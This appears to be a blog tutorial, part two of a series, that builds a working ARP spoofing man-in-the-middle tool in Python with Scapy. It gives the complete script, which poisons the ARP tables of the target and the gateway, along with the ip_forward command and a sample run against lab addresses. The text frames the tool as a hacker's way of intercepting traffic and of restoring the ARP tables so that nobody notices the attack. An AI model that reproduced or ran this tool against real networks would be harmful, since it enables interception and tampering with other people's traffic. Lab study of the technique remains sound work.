ARP Spoofer with Python and Scapy — Part 2

Maksym Postument
4 min readAug 29, 2018

Hello, in this post i would like to demonstrate how to use apr spoofing with python.

Better to read my previous post Simple Network Scanner with Python and Scapy before this one.

You will need virtualenv and scapy package installed.

Create python file using a text editor and at the top of file let’s import scapy package

import scapy.all as scapy

Before we can do spoofing we need to know target mac address. Funtction from Simple Network Scanner with Python and Scapy can be reused here:

def get_mac(ip):
# Create arp packet object. pdst - destination host ip address
arp_request = scapy.ARP(pdst=ip)
# Create ether packet object. dst - broadcast mac address.
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
# Combine two packets in two one
arp_request_broadcast = broadcast/arp_request
# Get list with answered hosts
answered_list = scapy.srp(arp_request_broadcast, timeout=1,
verbose=False)[0]
# Return host mac address
return answered_list[0][1].hwsrc

This function takes target host IP address as parameter and will return mac address of this host.

Now we are ready to do spoofing:

def spoof(target_ip, spoof_ip):
# Get target host ip address using previously created function
target_mac = get_mac(target_ip)
# Create ARP packet. target_ip - target host ip address, spoof_ip - gateway ip address
# op=2 means that ARP is going to send answer
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=spoof_ip)
# Send previously created packet without output
scapy.send(packet, verbose=False)

This function going to change ARPtable on target host. Router mac address will be replaced with hacker mac.

This function need to be called two times. First time to updated target arp table and second time to update router arp table.

After function will be executed packets from target host will be sent to hacker and from hacker sent to the router.

When an attack is finished would be nice to restore ARP table, so none will see that arp table was hacked. Let’s implement this function:

def restore(dest_ip, source_ip):
# Get target and gateway mac address
dest_mac = get_mac(dest_ip)
source_mac = get_mac(source_ip)
# Create ARP response packet with with right arp table information
packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac,
psrc=source_ip, hwsrc=source_mac)
# Send packet. Count 4 to make sure that host received packet
scapy.send(packet, count=4, verbose=False)

I am going to reuse a bit modified function get_arguments from the previous post:

def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target",
help="Target IP")
parser.add_argument("-g", "--gateway", dest="gateway",
help="Gateway IP")
options = parser.parse_args()
return options

Last part in our code it is a function execution. I am going to use while loop because function needs to be executed all the time. Otherwise, ARP table will be restored with correct values.

The program can be stopped using CTRL+C combination. When CTRL+C is pressed restore function will be called and ARP table will be restored.

import time # Read command line arguments
options = get_arguments()
# Packet counter
sent_packets_count = 0
try:
# Function should be executed all the time when attack is performed.
# Otherwise arp table will be automatically updated after few min
while True:
# Execute spoof function on target host
spoof(options.target, options.gateway)
# Execute spoof function on gateway
spoof(options.gateway, options.target)
# Store how many packets was sent and print value
sent_packets_count += 2
print(f"\r[+] Packets sent: {sent_packets_count}", end="")
# Wait two second before send next package
time.sleep(2)
# Execute restore function when program was stopped using keyboard
except KeyboardInterrupt:
print("\nCTRL+C pressed .... Reseting ARP tables. Please wait")
# Execute restore function on target host
restore(options.target, options.gateway)
# Execute restore function on gateway
restore(options.gateway, options.target)
print("\nARP table restored. Quiting")

Here is how the full code looks like

import scapy.all as scapy
import time
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target",
help="Target IP")
parser.add_argument("-g", "--gateway", dest="gateway",
help="Gateway IP")
options = parser.parse_args()
return options
# Get target mac address using ip address
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1,
verbose=False)[0]
return answered_list[0][1].hwsrc
# Change mac address in arp table
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=spoof_ip)
scapy.send(packet, verbose=False)
# Restore mac address in arp table
def restore(dest_ip, source_ip):
dest_mac = get_mac(dest_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac,
psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
options = get_arguments()
sent_packets_count = 0
try:
while True:
spoof(options.target, options.gateway)
spoof(options.gateway, options.target)
sent_packets_count += 2
print(f"\r[+] Packets sent: {sent_packets_count}", end="")
time.sleep(2)
except KeyboardInterrupt:
print("\nCTRL+C pressed .... Reseting ARP tables. Please wait")
restore(options.target, options.gateway)
restore(options.gateway, options.target)
print("\nARP table restored. Quiting")

One last modification should be added to hacker host configuration. This will allow hacker host to send packager from target host to router:

echo 1 > /proc/sys/net/ipv4/ip_forward

Let’s check arp table before execution:

And execute the program:

$python arp_spoofing.py -t 10.0.2.4 -g 10.0.2.1
[+] Packets sent: 36

And our result is:

Router mac address was replaced with hacker mac address. And all target packets will go through hacker host

Target host will think that the target host is a router and router will think that hacker host is the target

All code can be found in my gtihub repository — https://github.com/Infectsoldier/hacking_tools/blob/master/arp_spoofing/arp_spoofing.py

Part 1

Check my blog for more posts: https://makspostument.com

--

--